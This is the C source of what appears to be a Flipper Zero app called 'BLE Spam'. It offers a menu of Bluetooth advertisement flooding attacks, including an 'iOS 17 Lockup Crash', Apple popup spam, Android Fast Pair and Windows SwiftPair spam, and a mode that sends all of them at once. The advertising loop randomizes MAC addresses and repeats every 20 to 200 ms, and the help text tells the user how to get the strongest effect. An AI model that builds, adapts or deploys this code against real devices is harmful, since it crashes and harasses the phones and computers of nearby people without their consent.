ble_spam.c 11 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386
  1. #include <gui/gui.h>
  2. #include <furi_hal_bt.h>
  3. #include <gui/elements.h>
  4. #include "protocols/_registry.h"
  5. // Hacked together by @Willy-JL
  6. // Custom adv API by @Willy-JL (idea by @xMasterX)
  7. // iOS 17 Crash by @ECTO-1A
  8. // Android and Windows Pairs by @Spooks4576 and @ECTO-1A
  9. // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
  10. // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
  11. typedef struct {
  12. const char* title;
  13. const char* text;
  14. const BleSpamProtocol* protocol;
  15. BleSpamPayload payload;
  16. } Attack;
  17. static Attack attacks[] = {
  18. {
  19. .title = "+ Kitchen Sink",
  20. .text = "Flood all attacks at once",
  21. .protocol = NULL,
  22. .payload =
  23. {
  24. .random_mac = true,
  25. .cfg = {},
  26. },
  27. },
  28. {
  29. .title = "iOS 17 Lockup Crash",
  30. .text = "Newer iPhones, long range",
  31. .protocol = &ble_spam_protocol_continuity,
  32. .payload =
  33. {
  34. .random_mac = false,
  35. .cfg =
  36. {
  37. .continuity =
  38. {
  39. .type = ContinuityTypeCustomCrash,
  40. .data = {},
  41. },
  42. },
  43. },
  44. },
  45. {
  46. .title = "Apple Action Modal",
  47. .text = "Lock cooldown, long range",
  48. .protocol = &ble_spam_protocol_continuity,
  49. .payload =
  50. {
  51. .random_mac = false,
  52. .cfg =
  53. {
  54. .continuity =
  55. {
  56. .type = ContinuityTypeNearbyAction,
  57. .data = {},
  58. },
  59. },
  60. },
  61. },
  62. {
  63. .title = "Apple Device Popup",
  64. .text = "No cooldown, close range",
  65. .protocol = &ble_spam_protocol_continuity,
  66. .payload =
  67. {
  68. .random_mac = false,
  69. .cfg =
  70. {
  71. .continuity =
  72. {
  73. .type = ContinuityTypeProximityPair,
  74. .data = {},
  75. },
  76. },
  77. },
  78. },
  79. {
  80. .title = "Android Device Pair",
  81. .text = "Reboot cooldown, long range",
  82. .protocol = &ble_spam_protocol_fastpair,
  83. .payload =
  84. {
  85. .random_mac = true,
  86. .cfg =
  87. {
  88. .fastpair = {},
  89. },
  90. },
  91. },
  92. {
  93. .title = "Windows Device Found",
  94. .text = "Requires enabling SwiftPair",
  95. .protocol = &ble_spam_protocol_swiftpair,
  96. .payload =
  97. {
  98. .random_mac = true,
  99. .cfg =
  100. {
  101. .swiftpair = {},
  102. },
  103. },
  104. },
  105. };
  106. #define ATTACK_COUNT ((signed)COUNT_OF(attacks))
  107. uint16_t delays[] = {20, 50, 100, 200};
  108. typedef struct {
  109. bool resume;
  110. bool advertising;
  111. uint8_t delay;
  112. FuriThread* thread;
  113. int8_t index;
  114. } State;
  115. static int32_t adv_thread(void* ctx) {
  116. State* state = ctx;
  117. uint8_t size;
  118. uint16_t delay;
  119. uint8_t* packet;
  120. uint8_t mac[GAP_MAC_ADDR_SIZE];
  121. BleSpamPayload* payload = &attacks[state->index].payload;
  122. const BleSpamProtocol* protocol = attacks[state->index].protocol;
  123. if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
  124. while(state->advertising) {
  125. if(protocol) {
  126. protocol->make_packet(&size, &packet, &payload->cfg);
  127. } else {
  128. ble_spam_protocols[rand() % ble_spam_protocols_count]->make_packet(
  129. &size, &packet, NULL);
  130. }
  131. furi_hal_bt_custom_adv_set(packet, size);
  132. free(packet);
  133. if(payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
  134. delay = delays[state->delay];
  135. furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F);
  136. furi_thread_flags_wait(true, FuriFlagWaitAny, delay);
  137. furi_hal_bt_custom_adv_stop();
  138. }
  139. return 0;
  140. }
  141. static void toggle_adv(State* state) {
  142. if(state->advertising) {
  143. state->advertising = false;
  144. furi_thread_flags_set(furi_thread_get_id(state->thread), true);
  145. furi_thread_join(state->thread);
  146. if(state->resume) furi_hal_bt_start_advertising();
  147. } else {
  148. state->resume = furi_hal_bt_is_active();
  149. furi_hal_bt_stop_advertising();
  150. state->advertising = true;
  151. furi_thread_start(state->thread);
  152. }
  153. }
  154. #define PAGE_MIN (-3)
  155. #define PAGE_MAX ATTACK_COUNT
  156. enum {
  157. PageHelpApps = PAGE_MIN,
  158. PageHelpDelay,
  159. PageHelpDistance,
  160. PageStart = 0,
  161. PageEnd = ATTACK_COUNT - 1,
  162. PageAboutCredits = PAGE_MAX,
  163. };
  164. static void draw_callback(Canvas* canvas, void* ctx) {
  165. State* state = ctx;
  166. const char* back = "Back";
  167. const char* next = "Next";
  168. switch(state->index) {
  169. case PageStart - 1:
  170. next = "Spam";
  171. break;
  172. case PageStart:
  173. back = "Help";
  174. break;
  175. case PageEnd:
  176. next = "About";
  177. break;
  178. case PageEnd + 1:
  179. back = "Spam";
  180. break;
  181. }
  182. const Attack* attack =
  183. (state->index >= 0 && state->index <= ATTACK_COUNT - 1) ? &attacks[state->index] : NULL;
  184. const BleSpamPayload* payload = attack ? &attack->payload : NULL;
  185. const BleSpamProtocol* protocol = attack ? attack->protocol : NULL;
  186. canvas_set_font(canvas, FontSecondary);
  187. canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble);
  188. canvas_draw_str(canvas, 14, 12, "BLE Spam");
  189. switch(state->index) {
  190. case PageHelpApps:
  191. canvas_set_font(canvas, FontBatteryPercent);
  192. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  193. elements_text_box(
  194. canvas,
  195. 4,
  196. 16,
  197. 120,
  198. 48,
  199. AlignLeft,
  200. AlignTop,
  201. "\e#Some Apps\e# interfere\n"
  202. "with the attacks, stay on\n"
  203. "homescreen for best results",
  204. false);
  205. break;
  206. case PageHelpDelay:
  207. canvas_set_font(canvas, FontBatteryPercent);
  208. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  209. elements_text_box(
  210. canvas,
  211. 4,
  212. 16,
  213. 120,
  214. 48,
  215. AlignLeft,
  216. AlignTop,
  217. "\e#Delay\e# is time between\n"
  218. "attack attempts (top right),\n"
  219. "keep 20ms for best results",
  220. false);
  221. break;
  222. case PageHelpDistance:
  223. canvas_set_font(canvas, FontBatteryPercent);
  224. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  225. elements_text_box(
  226. canvas,
  227. 4,
  228. 16,
  229. 120,
  230. 48,
  231. AlignLeft,
  232. AlignTop,
  233. "\e#Distance\e# is limited, attacks\n"
  234. "work under 1 meter but a\n"
  235. "few are marked 'long range'",
  236. false);
  237. break;
  238. case PageAboutCredits:
  239. canvas_set_font(canvas, FontBatteryPercent);
  240. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits");
  241. elements_text_box(
  242. canvas,
  243. 4,
  244. 16,
  245. 122,
  246. 48,
  247. AlignLeft,
  248. AlignTop,
  249. "App+Spam: \e#WillyJL\e# XFW\n"
  250. "Apple+Crash: \e#ECTO-1A\e#\n"
  251. "Android+Win: \e#Spooks4576\e#\n"
  252. " Version \e#2.0\e#",
  253. false);
  254. break;
  255. default: {
  256. if(!attack) break;
  257. char str[32];
  258. canvas_set_font(canvas, FontBatteryPercent);
  259. snprintf(str, sizeof(str), "%ims", delays[state->delay]);
  260. canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
  261. canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
  262. canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
  263. canvas_set_font(canvas, FontBatteryPercent);
  264. snprintf(
  265. str,
  266. sizeof(str),
  267. "%02i/%02i: %s",
  268. state->index + 1,
  269. ATTACK_COUNT,
  270. protocol ? protocol->get_name(&payload->cfg) : "Everything");
  271. canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
  272. canvas_set_font(canvas, FontPrimary);
  273. canvas_draw_str(canvas, 4, 32, attack->title);
  274. canvas_set_font(canvas, FontSecondary);
  275. canvas_draw_str(canvas, 4, 46, attack->text);
  276. elements_button_center(canvas, state->advertising ? "Stop" : "Start");
  277. break;
  278. }
  279. }
  280. if(state->index > PAGE_MIN) {
  281. elements_button_left(canvas, back);
  282. }
  283. if(state->index < PAGE_MAX) {
  284. elements_button_right(canvas, next);
  285. }
  286. }
  287. static void input_callback(InputEvent* input, void* ctx) {
  288. FuriMessageQueue* input_queue = ctx;
  289. if(input->type == InputTypeShort || input->type == InputTypeLong ||
  290. input->type == InputTypeRepeat) {
  291. furi_message_queue_put(input_queue, input, 0);
  292. }
  293. }
  294. int32_t ble_spam(void* p) {
  295. UNUSED(p);
  296. State* state = malloc(sizeof(State));
  297. state->thread = furi_thread_alloc();
  298. furi_thread_set_callback(state->thread, adv_thread);
  299. furi_thread_set_context(state->thread, state);
  300. furi_thread_set_stack_size(state->thread, 4096);
  301. FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
  302. ViewPort* view_port = view_port_alloc();
  303. Gui* gui = furi_record_open(RECORD_GUI);
  304. view_port_input_callback_set(view_port, input_callback, input_queue);
  305. view_port_draw_callback_set(view_port, draw_callback, state);
  306. gui_add_view_port(gui, view_port, GuiLayerFullscreen);
  307. bool running = true;
  308. while(running) {
  309. InputEvent input;
  310. furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
  311. bool is_attack = state->index >= 0 && state->index <= ATTACK_COUNT - 1;
  312. bool advertising = state->advertising;
  313. switch(input.key) {
  314. case InputKeyOk:
  315. if(is_attack) toggle_adv(state);
  316. break;
  317. case InputKeyUp:
  318. if(is_attack && state->delay < COUNT_OF(delays) - 1) {
  319. state->delay++;
  320. }
  321. break;
  322. case InputKeyDown:
  323. if(is_attack && state->delay > 0) {
  324. state->delay--;
  325. }
  326. break;
  327. case InputKeyLeft:
  328. if(state->index > PAGE_MIN) {
  329. if(advertising) toggle_adv(state);
  330. state->index--;
  331. }
  332. break;
  333. case InputKeyRight:
  334. if(state->index < PAGE_MAX) {
  335. if(advertising) toggle_adv(state);
  336. state->index++;
  337. }
  338. break;
  339. case InputKeyBack:
  340. if(advertising) toggle_adv(state);
  341. running = false;
  342. break;
  343. default:
  344. continue;
  345. }
  346. view_port_update(view_port);
  347. }
  348. gui_remove_view_port(gui, view_port);
  349. furi_record_close(RECORD_GUI);
  350. view_port_free(view_port);
  351. furi_message_queue_free(input_queue);
  352. furi_thread_free(state->thread);
  353. free(state);
  354. return 0;
  355. }